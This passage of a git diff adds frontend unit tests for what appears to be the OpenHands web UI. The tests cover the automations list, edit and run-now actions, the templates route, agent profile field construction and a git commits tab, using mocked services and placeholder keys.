+    await screen.findByTestId("automations-filtered-empty");
+
+    // Act
+    await user.click(screen.getByTestId("automations-clear-filters"));
+
+    // Assert
+    await screen.findByTestId("automation-card-a-ok");
+    expect((search as HTMLInputElement).value).toBe("");
+  });
+});
+
+describe("AutomationTemplates — manifest-declared templates page", () => {
+  it("admits the route and renders the manifest identity above the launcher", async () => {
+    // Arrange & Act
+    expect(templatesLoader()).toBeNull();
+    renderAt("/automations/templates", <AutomationTemplates />);
+
+    // Assert
+    expect({
+      title: await screen.findByText("Widget templates", {
+        selector: "h1",
+      }),
+      description: screen.getByText("Pick a proven widget to start from."),
+      launcher: await screen.findByTestId("recommended-automations-section"),
+    }).toBeTruthy();
+  });
+});
diff --git a/__tests__/routes/automations-list.test.tsx b/__tests__/routes/automations-list.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..521be86c85b5be462b3b20233ebc18a6dd3a28ed
--- /dev/null
+++ b/__tests__/routes/automations-list.test.tsx
@@ -0,0 +1,478 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter } from "react-router";
+import { HttpError } from "@openhands/typescript-client";
+
+import { I18nKey } from "#/i18n/declaration";
+
+import AutomationService from "#/api/automation-service/automation-service.api";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import AutomationsList from "#/routes/automations-list";
+import type { Backend } from "#/api/backend-registry/types";
+import {
+  AutomationRunStatus,
+  type Automation,
+  type AutomationsResponse,
+} from "#/types/automation";
+import { AUTOMATION_STACK_SECTION_BOTTOM_CLASS } from "#/utils/automation-stack-section";
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    getAutomations: vi.fn(),
+    updateAutomation: vi.fn(),
+    toggleAutomation: vi.fn(),
+    deleteAutomation: vi.fn(),
+    dispatchAutomation: vi.fn(),
+    checkHealth: vi.fn(),
+  },
+}));
+
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+  default: {
+    listProfiles: vi.fn(),
+  },
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displaySuccessToast: vi.fn(),
+  displayErrorToast: vi.fn(),
+}));
+
+// Mock permission hooks so cloud-backend tests don't need a real /me endpoint.
+vi.mock("#/hooks/use-automation-permissions", () => ({
+  useAutomationPermissions: () => ({
+    canView: true,
+    canManage: true,
+    isLoading: false,
+  }),
+  useIsAutomationOwner: () => true,
+}));
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const cloudBackend: Backend = {
+  id: "cloud-1",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-key",
+  kind: "cloud",
+};
+
+const automation: Automation = {
+  id: "auto-1",
+  name: "Daily digest",
+  prompt: "Summarize yesterday's PRs",
+  trigger: { type: "cron", schedule: "0 9 * * *", schedule_human: "Daily" },
+  enabled: true,
+  repository: "acme/repo",
+  model: "daily-profile",
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+};
+
+const listResponse: AutomationsResponse = {
+  automations: [automation],
+  total: 1,
+};
+
+function renderList(queryClient?: QueryClient) {
+  const client =
+    queryClient ??
+    new QueryClient({
+      defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+    });
+  return render(
+    <QueryClientProvider client={client}>
+      <ActiveBackendProvider>
+        <MemoryRouter initialEntries={["/automations"]}>
+          <AutomationsList />
+        </MemoryRouter>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.mocked(AutomationService.checkHealth).mockReset();
+  vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" });
+  vi.mocked(AutomationService.getAutomations).mockReset();
+  vi.mocked(AutomationService.getAutomations).mockResolvedValue(listResponse);
+  vi.mocked(AutomationService.updateAutomation).mockReset();
+  vi.mocked(AutomationService.dispatchAutomation).mockReset();
+  vi.mocked(ProfilesService.listProfiles).mockReset();
+  vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+    profiles: [],
+    active_profile: null,
+  });
+  setRegisteredBackends([localBackend, cloudBackend]);
+  setActiveSelection({ backendId: localBackend.id });
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("AutomationsList — Edit from the row kebab", () => {
+  it("opens the Edit modal pre-filled with the row's values when the active backend is local", async () => {
+    // Arrange — local backend is active (default beforeEach); render the list
+    // and wait for the row to appear.
+    const user = userEvent.setup();
+    renderList();
+    await waitFor(() => {
+      expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1);
+    });
+    await screen.findByText(automation.name);
+
+    // Act — open the row kebab and pick Edit. The aria-label resolves to
+    // the I18n key in tests because `t` is mocked to return the key itself.
+    await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU));
+    await user.click(
+      screen.getByRole("button", { name: I18nKey.AUTOMATIONS$EDIT }),
+    );
+
+    // Assert — the shared Edit modal mounts wired to this row (name input is
+    // pre-filled with that row's name, proving the list page passed the right
+    // automation through).
+    const nameInput = (await screen.findByTestId(
+      "edit-automation-name",
+    )) as HTMLInputElement;
+    expect(nameInput.value).toBe(automation.name);
+  });
+
+  it("opens the Edit modal pre-filled from the row kebab when the active backend is cloud", async () => {
+    // Arrange — switch to the cloud backend before mounting so the page sees
+    // it as the active backend on first render.
+    setActiveSelection({ backendId: cloudBackend.id });
+    const user = userEvent.setup();
+    renderList();
+    await waitFor(() => {
+      expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1);
+    });
+    await screen.findByText(automation.name);
+
+    // Act — open the row kebab and pick Edit. The aria-label resolves to
+    // the I18n key in tests because `t` is mocked to return the key itself.
+    await user.click(screen.getByLabelText(I18nKey.AUTOMATIONS$ACTIONS_MENU));
+    await user.click(
+      screen.getByRole("button", { name: I18nKey.AUTOMATIONS$EDIT }),
+    );
+
+    // Assert — the same Edit modal mounts on cloud, wired to this row; the
+    // permission model (mocked to canManage above) decides, not the backend.
+    const nameInput = (await screen.findByTestId(
+      "edit-automation-name",
+    )) as HTMLInputElement;
+    expect(nameInput.value).toBe(automation.name);
+  });
+});
+
+describe("AutomationsList — Git Sync entry point", () => {
+  it("hides the Git Sync button when the active backend is cloud", async () => {
+    // Arrange — Git Sync is a local-only operator feature that used to share
+    // Edit's backend gate; it must not follow Edit onto cloud.
+    setActiveSelection({ backendId: cloudBackend.id });
+    renderList();
+    await screen.findByText(automation.name);
+
+    // Assert
+    expect(
+      screen.queryByTestId("automations-git-sync"),
+    ).not.toBeInTheDocument();
+  });
+});
+
+describe("AutomationsList — view mode toggle", () => {
+  it("switches saved automations from cards to list rows", async () => {
+    const user = userEvent.setup();
+    renderList();
+    await waitFor(() => {
+      expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1);
+    });
+    await screen.findByTestId("automation-card-auto-1");
+
+    await user.click(screen.getByTestId("automations-view-toggle"));
+    await user.click(screen.getByTestId("automations-view-toggle-list"));
+
+    expect(
+      screen.queryByTestId("automation-card-auto-1"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.getByTestId("automation-list-row-auto-1"),
+    ).toBeInTheDocument();
+    expect(window.localStorage.getItem("openhands-automations-view")).toBe(
+      "list",
+    );
+  });
+
+  it("disables the view-mode toggle when the user has no automations", async () => {
+    // Arrange — service returns an empty list, so the page lands on EmptyState.
+    vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+      automations: [],
+      total: 0,
+    });
+    const user = userEvent.setup();
+    renderList();
+    await waitFor(() => {
+      expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1);
+    });
+
+    // Act — try to open the toggle's grid/list menu.
+    const trigger = await screen.findByTestId("automations-view-toggle");
+    await user.click(trigger);
+
+    // Assert — toggle is disabled and clicking it does not reveal the menu.
+    expect(trigger).toBeDisabled();
+    expect(
+      screen.queryByTestId("automations-view-toggle-list"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("keeps the recommended rail inside the empty state instead of above it", async () => {
+    vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+      automations: [],
+      total: 0,
+    });
+    renderList();
+
+    const empty = await screen.findByTestId("automations-empty");
+    const rail = await within(empty).findByTestId(
+      "recommended-automations-rail",
+    );
+    expect(rail).toBeInTheDocument();
+    expect(rail).not.toHaveClass(AUTOMATION_STACK_SECTION_BOTTOM_CLASS);
+    expect(screen.getAllByTestId("recommended-automations-rail")).toHaveLength(
+      1,
+    );
+  });
+});
+
+describe("AutomationsList — Run now toasts", () => {
+  beforeEach(async () => {
+    const { displaySuccessToast, displayErrorToast } =
+      await import("#/utils/custom-toast-handlers");
+    vi.mocked(displaySuccessToast).mockClear();
+    vi.mocked(displayErrorToast).mockClear();
+  });
+
+  it("shows a success toast after the dispatch API resolves", async () => {
+    // Arrange — service resolves with a fresh run record.
+    vi.mocked(AutomationService.dispatchAutomation).mockResolvedValue({
+      id: "run-1",
+      status: AutomationRunStatus.PENDING,
+      conversation_id: null,
+      bash_command_id: null,
+      error_detail: null,
+      started_at: "2026-01-02T00:00:00Z",
+      completed_at: null,
+    });
+    const { displaySuccessToast, displayErrorToast } =
+      await import("#/utils/custom-toast-handlers");
+    const user = userEvent.setup();
+    renderList();
+    await screen.findByText(automation.name);
+
+    // Act — click the row's "Run now" button.
+    await user.click(screen.getByTestId(`automation-run-now-${automation.id}`));
+
+    // Assert — dispatch was called and success toast fired with the i18n key.
+    await waitFor(() => {
+      expect(AutomationService.dispatchAutomation).toHaveBeenCalledWith(
+        automation.id,
+      );
+    });
+    await waitFor(() => {
+      expect(displaySuccessToast).toHaveBeenCalledWith(
+        I18nKey.AUTOMATIONS$RUN_NOW_SUCCESS,
+      );
+    });
+    expect(displayErrorToast).not.toHaveBeenCalled();
+  });
+
+  it("does not dispatch when Run now is clicked on a disabled automation (grid view)", async () => {
+    // Arrange — single automation that is turned off.
+    const disabledAutomation: Automation = { ...automation, enabled: false };
+    vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+      automations: [disabledAutomation],
+      total: 1,
+    });
+    const user = userEvent.setup();
+    renderList();
+    const button = await screen.findByTestId(
+      `automation-run-now-${disabledAutomation.id}`,
+    );
+
+    // Act — userEvent honors the disabled attribute, so the click is suppressed.
+    await user.click(button);
+
+    // Assert — the off-state gate prevents the dispatch API from firing.
+    expect(button).toBeDisabled();
+    expect(AutomationService.dispatchAutomation).not.toHaveBeenCalled();
+  });
+
+  it("does not dispatch when Run now is clicked on a disabled automation (list view)", async () => {
+    // Arrange — pre-seed the stored view mode so the page mounts in list view,
+    // then return a single disabled automation.
+    window.localStorage.setItem("openhands-automations-view", "list");
+    const disabledAutomation: Automation = { ...automation, enabled: false };
+    vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+      automations: [disabledAutomation],
+      total: 1,
+    });
+    const user = userEvent.setup();
+    renderList();
+    await screen.findByTestId(
+      `automation-list-row-${disabledAutomation.id}`,
+    );
+    const button = screen.getByTestId(
+      `automation-run-now-${disabledAutomation.id}`,
+    );
+
+    // Act
+    await user.click(button);
+
+    // Assert
+    expect(button).toBeDisabled();
+    expect(AutomationService.dispatchAutomation).not.toHaveBeenCalled();
+  });
+
+  it("shows an error toast when the dispatch API rejects", async () => {
+    // Arrange — service rejects with a plain Error so the fallback branch fires.
+    vi.mocked(AutomationService.dispatchAutomation).mockRejectedValue(
+      new Error("dispatch failed"),
+    );
+    const { displaySuccessToast, displayErrorToast } =
+      await import("#/utils/custom-toast-handlers");
+    const user = userEvent.setup();
+    renderList();
+    await screen.findByText(automation.name);
+
+    // Act — click the row's "Run now" button.
+    await user.click(screen.getByTestId(`automation-run-now-${automation.id}`));
+
+    // Assert — error toast surfaces the rejection message; success toast never fires.
+    await waitFor(() => {
+      expect(displayErrorToast).toHaveBeenCalledWith("dispatch failed");
+    });
+    expect(displaySuccessToast).not.toHaveBeenCalled();
+  });
+
+  it("shows the server-provided message when the dispatch API rejects with an HttpError", async () => {
+    // Arrange — cloud transport failures surface as the shared client's
+    // HttpError, whose parsed body lives on `response`.
+    vi.mocked(AutomationService.dispatchAutomation).mockRejectedValue(
+      new HttpError(500, "Internal Server Error", {
+        message: "Runner quota exceeded",
+      }),
+    );
+    const { displayErrorToast } = await import("#/utils/custom-toast-handlers");
+    const user = userEvent.setup();
+    renderList();
+    await screen.findByText(automation.name);
+
+    // Act — click the row's "Run now" button.
+    await user.click(screen.getByTestId(`automation-run-now-${automation.id}`));
+
+    // Assert — the toast shows the body's message, not a generic fallback.
+    await waitFor(() => {
+      expect(displayErrorToast).toHaveBeenCalledWith("Runner quota exceeded");
+    });
+  });
+});
+
+describe("AutomationsList — add automation menu", () => {
+  it("opens create and import from the Add Automation dropdown", async () => {
+    const user = userEvent.setup();
+    renderList();
+    await screen.findByText(automation.name);
+
+    const addTrigger = screen.getByTestId("automations-add-automation");
+    expect(addTrigger).toHaveClass("bg-base-secondary");
+    expect(
+      screen.queryByTestId("automations-import-automation"),
+    ).not.toBeInTheDocument();
+
+    await user.click(addTrigger);
+    expect(screen.getByTestId("automations-add-automation-menu")).not.toHaveClass(
+      "mt-2",
+    );
+    expect(
+      screen.getByTestId("automations-import-automation"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("automations-add-automation-create"));
+    expect(screen.getByTestId("add-automation-modal")).toBeInTheDocument();
+  });
+
+  it("opens the import picker from the Add Automation menu", async () => {
+    const user = userEvent.setup();
+    renderList();
+    await screen.findByText(automation.name);
+
+    await user.click(screen.getByTestId("automations-add-automation"));
+    await user.click(screen.getByTestId("automations-import-automation"));
+
+    const modal = screen.getByTestId("import-automation-modal");
+    expect(modal).toHaveAttribute("data-view", "picker");
+    expect(
+      screen.getByTestId("import-automation-dropzone"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("import-automation-choose-file"),
+    ).toBeInTheDocument();
+  });
+});
+
+describe("AutomationsList — list freshness on remount", () => {
+  it("surfaces automations created since the last visit without a manual refresh", async () => {
+    // Arrange — share a QueryClient across two mounts to simulate the user
+    // navigating away from /automations and back. Between the two mounts an
+    // agent has created a new automation, so the service starts returning
+    // it on the next call. Previously, the cached list was treated as fresh
+    // for 5 minutes and the second mount would have re-rendered the stale
+    // list without refetching.
+    const newAutomation: Automation = {
+      ...automation,
+      id: "auto-2",
+      name: "Hello World",
+    };
+    vi.mocked(AutomationService.getAutomations)
+      .mockReset()
+      .mockResolvedValueOnce(listResponse)
+      .mockResolvedValueOnce({
+        automations: [automation, newAutomation],
+        total: 2,
+      });
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+    });
+
+    // Act — first mount lands on the original list, then unmount and remount
+    // against the same QueryClient (the cache the bug used to serve stale).
+    const first = renderList(queryClient);
+    await screen.findByText(automation.name);
+    first.unmount();
+    renderList(queryClient);
+
+    // Assert — the remount refetched and surfaced the newly created
+    // automation, which is the user-observable behavior the bug blocked.
+    await screen.findByText(newAutomation.name);
+  });
+});
diff --git a/__tests__/routes/automations-subpages-absent.test.tsx b/__tests__/routes/automations-subpages-absent.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..245b0e994f10fc5ab3a350249dac470778924ec6
--- /dev/null
+++ b/__tests__/routes/automations-subpages-absent.test.tsx
@@ -0,0 +1,126 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { render, screen } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { MemoryRouter } from "react-router";
+
+import AutomationService from "#/api/automation-service/automation-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import AutomationsList from "#/routes/automations-list";
+import { clientLoader as templatesLoader } from "#/routes/automation-templates";
+import type { Backend } from "#/api/backend-registry/types";
+import type { Automation } from "#/types/automation";
+
+// Pin the published data source to a manifest that declares no sub-page
+// surface, independent of whatever the pinned package ships: the interface
+// exists, so the page renders, but the sub-page surface must stay dark.
+vi.mock("#/manifests/manifest-sources", async (importOriginal) => {
+  const actual =
+    await importOriginal<typeof import("#/manifests/manifest-sources")>();
+  const { createInterfaceManifest } =
+    await import("../manifests/manifest-test-data");
+  return {
+    ...actual,
+    AUTOMATION_INTERFACE_CANDIDATE: createInterfaceManifest(),
+  };
+});
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    getAutomations: vi.fn(),
+    getAutomationRuns: vi.fn(),
+    checkHealth: vi.fn(),
+    toggleAutomation: vi.fn(),
+    updateAutomation: vi.fn(),
+    deleteAutomation: vi.fn(),
+    dispatchAutomation: vi.fn(),
+  },
+}));
+
+const localBackend: Backend = {
+  id: "local-1",
+  name: "Local 1",
+  host: "http://localhost:8000",
+  apiKey: "session-key",
+  kind: "local",
+};
+
+const automation: Automation = {
+  id: "auto-1",
+  name: "Daily digest",
+  trigger: { type: "cron", schedule: "0 9 * * *" },
+  enabled: true,
+  prompt: "Summarize yesterday's PRs",
+  created_at: "2026-01-01T00:00:00Z",
+  updated_at: "2026-01-01T00:00:00Z",
+};
+
+function renderList() {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={client}>
+      <ActiveBackendProvider>
+        <MemoryRouter initialEntries={["/automations"]}>
+          <AutomationsList />
+        </MemoryRouter>
+      </ActiveBackendProvider>
+    </QueryClientProvider>,
+  );
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  vi.mocked(AutomationService.checkHealth).mockReset();
+  vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" });
+  vi.mocked(AutomationService.getAutomations).mockReset();
+  vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+    automations: [automation],
+    total: 1,
+  });
+  setRegisteredBackends([localBackend]);
+  setActiveSelection({ backendId: localBackend.id });
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("an interface manifest that declares no sub-page surface", () => {
+  it("keeps today's plain list: launcher on the page, no dashboard chrome", async () => {
+    // Arrange & Act
+    renderList();
+    await screen.findByText(automation.name);
+
+    // Assert — nothing of the sub-page surface renders, and the catalog
+    // launcher stays on the list page.
+    expect({
+      nav: screen.queryByTestId("automations-navbar-desktop"),
+      tile: screen.queryByTestId("overview-tile-automations"),
+      statusFilter: screen.queryByTestId("automations-filters"),
+      launcher: await screen.findByTestId("recommended-automations-section"),
+    }).toMatchObject({ nav: null, tile: null, statusFilter: null });
+  });
+
+  it("404s the templates route", () => {
+    // Act
+    let thrown: unknown;
+    try {
+      templatesLoader();
+    } catch (error) {
+      thrown = error;
+    }
+
+    // Assert — the layout's error boundary renders this as not-found.
+    expect(thrown).toBeInstanceOf(Response);
+    expect((thrown as Response).status).toBe(404);
+  });
+});
diff --git a/__tests__/routes/build-agent-profile-fields.test.ts b/__tests__/routes/build-agent-profile-fields.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..e35a3f63becd237a73c74d9c2e3e280fac06ad72
--- /dev/null
+++ b/__tests__/routes/build-agent-profile-fields.test.ts
@@ -0,0 +1,258 @@
+import { describe, expect, it } from "vitest";
+import { buildAgentProfileFields } from "#/routes/agent-settings";
+import type { SettingsFieldSchema } from "#/types/settings";
+
+const baseAcp = {
+  isAcp: true,
+  selectedPreset: "claude-code",
+  isDefaultProviderCommand: true,
+  commandTokens: ["npx", "-y", "@zed-industries/claude-code-acp"],
+  acpModel: "claude-opus-4-8",
+  subAgentsEnabled: false,
+  switchLlmToolField: undefined,
+  switchLlmToolEnabled: false,
+  switchLlmToolSupportedOnProfile: true,
+  toolConcurrencyField: undefined,
+  toolConcurrency: "",
+  mcpMode: "standard" as const,
+  selectedMcpServers: [],
+};
+
+const switchLlmToolField: SettingsFieldSchema = {
+  key: "enable_switch_llm_tool",
+  label: "Enable LLM switching tool",
+  section: "general",
+  section_label: "General",
+  value_type: "boolean",
+  default: true,
+  choices: [],
+  depends_on: [],
+  prominence: "major",
+  secret: false,
+  required: false,
+};
+
+const concurrencyField: SettingsFieldSchema = {
+  key: "tool_concurrency_limit",
+  label: "Tool concurrency limit",
+  section: "agent",
+  section_label: "Agent",
+  value_type: "integer",
+  choices: [],
+  depends_on: [],
+  prominence: "minor",
+  secret: false,
+  required: false,
+};
+
+describe("buildAgentProfileFields — ACP", () => {
+  it("stores no explicit command for a built-in provider on its default command", () => {
+    const fields = buildAgentProfileFields(baseAcp);
+    expect(fields).toEqual({
+      agent_kind: "acp",
+      mcp_server_refs: null,
+      acp_server: "claude-code",
+      acp_model: "claude-opus-4-8",
+      acp_command: null,
+      acp_args: null,
+    });
+  });
+
+  it("stores the verbatim shell command when it diverges from the default", () => {
+    const fields = buildAgentProfileFields({
+      ...baseAcp,
+      isDefaultProviderCommand: false,
+      commandTokens: ["npx", "-y", "@zed-industries/claude-code-acp@0.5.0"],
+    });
+    expect(fields.agent_kind).toBe("acp");
+    if (fields.agent_kind === "acp") {
+      expect(fields.acp_command).toBe(
+        "npx -y @zed-industries/claude-code-acp@0.5.0",
+      );
+    }
+  });
+
+  it("stores the command for the custom preset even if it happens to match a default", () => {
+    const fields = buildAgentProfileFields({
+      ...baseAcp,
+      selectedPreset: "custom",
+      // A custom preset is never treated as a built-in default.
+      isDefaultProviderCommand: true,
+      commandTokens: ["my-acp", "--flag"],
+    });
+    if (fields.agent_kind === "acp") {
+      expect(fields.acp_server).toBe("custom");
+      expect(fields.acp_command).toBe("my-acp --flag");
+    }
+  });
+
+  it("normalizes a blank model to null", () => {
+    const fields = buildAgentProfileFields({ ...baseAcp, acpModel: "   " });
+    if (fields.agent_kind === "acp") {
+      expect(fields.acp_model).toBeNull();
+    }
+  });
+});
+
+describe("buildAgentProfileFields — OpenHands", () => {
+  const baseOh = {
+    isAcp: false,
+    selectedPreset: "custom",
+    isDefaultProviderCommand: false,
+    commandTokens: [],
+    acpModel: "",
+    subAgentsEnabled: true,
+    switchLlmToolField: undefined,
+    switchLlmToolEnabled: false,
+    switchLlmToolSupportedOnProfile: true,
+    toolConcurrencyField: undefined,
+    toolConcurrency: "",
+    mcpMode: "standard" as const,
+    selectedMcpServers: [],
+  };
+
+  it("passes through enable_sub_agents and omits concurrency when the field is absent", () => {
+    expect(buildAgentProfileFields(baseOh)).toEqual({
+      agent_kind: "openhands",
+      mcp_server_refs: null,
+      enable_sub_agents: true,
+    });
+  });
+
+  it("emits enable_switch_llm_tool when the schema exposes the field", () => {
+    const fields = buildAgentProfileFields({
+      ...baseOh,
+      switchLlmToolField,
+      switchLlmToolEnabled: true,
+    });
+    if (fields.agent_kind === "openhands") {
+      expect(fields.enable_switch_llm_tool).toBe(true);
+    }
+  });
+
+  it("omits enable_switch_llm_tool when the schema has it but the profile model does not", () => {
+    // agent-server 1.29.0–1.30.x: agent profiles exist and the settings schema
+    // advertises the field, but `OpenHandsAgentProfile` gained it in 1.31.0.
+    // The profile POST is `extra="forbid"`, so emitting here 422s the save.
+    const fields = buildAgentProfileFields({
+      ...baseOh,
+      switchLlmToolField,
+      switchLlmToolEnabled: false,
+      switchLlmToolSupportedOnProfile: false,
+    });
+    expect(fields).not.toHaveProperty("enable_switch_llm_tool");
+  });
+
+  it("omits enable_switch_llm_tool when the schema predates the field", () => {
+    // Older agent-servers would reject the unknown key on the whole-profile
+    // overwrite, so the key is only emitted when the schema advertises it.
+    const fields = buildAgentProfileFields({
+      ...baseOh,
+      switchLlmToolField: undefined,
+      switchLlmToolEnabled: true,
+    });
+    if (fields.agent_kind === "openhands") {
+      expect(fields).not.toHaveProperty("enable_switch_llm_tool");
+    }
+  });
+
+  it("coerces a valid tool_concurrency_limit to a number", () => {
+    const fields = buildAgentProfileFields({
+      ...baseOh,
+      toolConcurrencyField: concurrencyField,
+      toolConcurrency: "3",
+    });
+    if (fields.agent_kind === "openhands") {
+      expect(fields.tool_concurrency_limit).toBe(3);
+    }
+  });
+
+  it("falls back to the schema default (1) when the input is empty, so a clear actually clears (#1571 review)", () => {
+    // A blank field coerces to `null`; the field itself is a non-nullable
+    // backend int, so an explicit default — not an omitted key — is what
+    // actually resets a stored value on an edit-save (the whole-profile merge
+    // would otherwise silently keep the old value for an omitted key).
+    const fields = buildAgentProfileFields({
+      ...baseOh,
+      toolConcurrencyField: concurrencyField,
+      toolConcurrency: "",
+    });
+    if (fields.agent_kind === "openhands") {
+      expect(fields.tool_concurrency_limit).toBe(1);
+    }
+  });
+
+  it("falls back to the schema's own default value when the field declares one", () => {
+    const fields = buildAgentProfileFields({
+      ...baseOh,
+      toolConcurrencyField: { ...concurrencyField, default: 2 },
+      toolConcurrency: "",
+    });
+    if (fields.agent_kind === "openhands") {
+      expect(fields.tool_concurrency_limit).toBe(2);
+    }
+  });
+
+  it("throws on a non-numeric concurrency value (schema-driven validation)", () => {
+    expect(() =>
+      buildAgentProfileFields({
+        ...baseOh,
+        toolConcurrencyField: concurrencyField,
+        toolConcurrency: "abc",
+      }),
+    ).toThrow();
+  });
+});
+
+describe("buildAgentProfileFields — mcp_server_refs", () => {
+  const baseOh = {
+    isAcp: false,
+    selectedPreset: "custom",
+    isDefaultProviderCommand: false,
+    commandTokens: [],
+    acpModel: "",
+    subAgentsEnabled: false,
+    switchLlmToolField: undefined,
+    switchLlmToolEnabled: false,
+    switchLlmToolSupportedOnProfile: true,
+    toolConcurrencyField: undefined,
+    toolConcurrency: "",
+    mcpMode: "standard" as const,
+    selectedMcpServers: [],
+  };
+
+  it("emits null in standard mode, so the profile inherits every server", () => {
+    expect(buildAgentProfileFields(baseOh).mcp_server_refs).toBeNull();
+    expect(
+      buildAgentProfileFields({ ...baseOh, isAcp: true }).mcp_server_refs,
+    ).toBeNull();
+  });
+
+  it("emits the selection in custom mode", () => {
+    const selected = ["fetch", "playwright"];
+    expect(
+      buildAgentProfileFields({
+        ...baseOh,
+        mcpMode: "custom",
+        selectedMcpServers: selected,
+      }).mcp_server_refs,
+    ).toEqual(selected);
+  });
+
+  it("distinguishes an empty selection from standard — [] means no servers", () => {
+    expect(
+      buildAgentProfileFields({ ...baseOh, mcpMode: "custom" }).mcp_server_refs,
+    ).toEqual([]);
+  });
+
+  it("rides both variants, since the field lives on the profile base", () => {
+    const acp = buildAgentProfileFields({
+      ...baseOh,
+      isAcp: true,
+      mcpMode: "custom",
+      selectedMcpServers: ["fetch"],
+    });
+    expect(acp.agent_kind).toBe("acp");
+    expect(acp.mcp_server_refs).toEqual(["fetch"]);
+  });
+});
diff --git a/__tests__/routes/commits-tab.test.tsx b/__tests__/routes/commits-tab.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..683d8219703566df7d271dbe90286437d5319e63
--- /dev/null
+++ b/__tests__/routes/commits-tab.test.tsx
@@ -0,0 +1,180 @@
+import React from "react";
+import { render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { describe, it, expect, vi, beforeEach } from "vitest";
+import { MemoryRouter } from "react-router";
+
+import GitCommits from "#/routes/commits-tab";
+import AgentServerGitService from "#/api/git-service/agent-server-git-service.api";
+import { useAgentState } from "#/hooks/use-agent-state";
+import { AgentState } from "#/types/agent-state";
+import type { GitCommit } from "#/api/open-hands.types";
+
+const conversation = {
+  conversation_url: "http://localhost:18000/api/conversations/c1",
+  session_api_key: "test-key",
+  workspace: { working_dir: "/workspace/project" },
+};
+
+vi.mock("#/hooks/use-agent-state");
+vi.mock("#/hooks/use-conversation-id", () => ({
+  useConversationId: () => ({ conversationId: "c1" }),
+}));
+vi.mock("#/hooks/query/use-active-conversation", () => ({
+  useActiveConversation: () => ({ data: conversation }),
+}));
+vi.mock("#/hooks/use-runtime-is-ready", () => ({
+  useRuntimeIsReady: () => true,
+}));
+
+const makeCommit = (overrides: Partial<GitCommit> = {}): GitCommit => ({
+  sha: "a".repeat(40),
+  shortSha: "aaaaaaa",
+  subject: "add logging",
+  author: "Agent",
+  timestamp: "2026-07-10T12:00:00+07:00",
+  ...overrides,
+});
+
+const wrapper = ({ children }: { children: React.ReactNode }) => (
+  <MemoryRouter>
+    <QueryClientProvider
+      client={
+        new QueryClient({ defaultOptions: { queries: { retry: false } } })
+      }
+    >
+      {children}
+    </QueryClientProvider>
+  </MemoryRouter>
+);
+
+describe("Commits Tab", () => {
+  const getGitCommitsSpy = vi.spyOn(AgentServerGitService, "getGitCommits");
+  const getCommitChangesSpy = vi.spyOn(
+    AgentServerGitService,
+    "getCommitChanges",
+  );
+  const getGitChangesSpy = vi.spyOn(AgentServerGitService, "getGitChanges");
+
+  beforeEach(() => {
+    getGitCommitsSpy.mockReset();
+    getCommitChangesSpy.mockReset();
+    getGitChangesSpy.mockReset();
+    getGitChangesSpy.mockResolvedValue([]);
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.RUNNING,
+    });
+  });
+
+  it("shows the waiting state while the runtime is inactive", () => {
+    // Arrange
+    vi.mocked(useAgentState).mockReturnValue({
+      curAgentState: AgentState.ERROR,
+    });
+    getGitCommitsSpy.mockResolvedValue({ commits: [], hasMore: false });
+
+    // Act
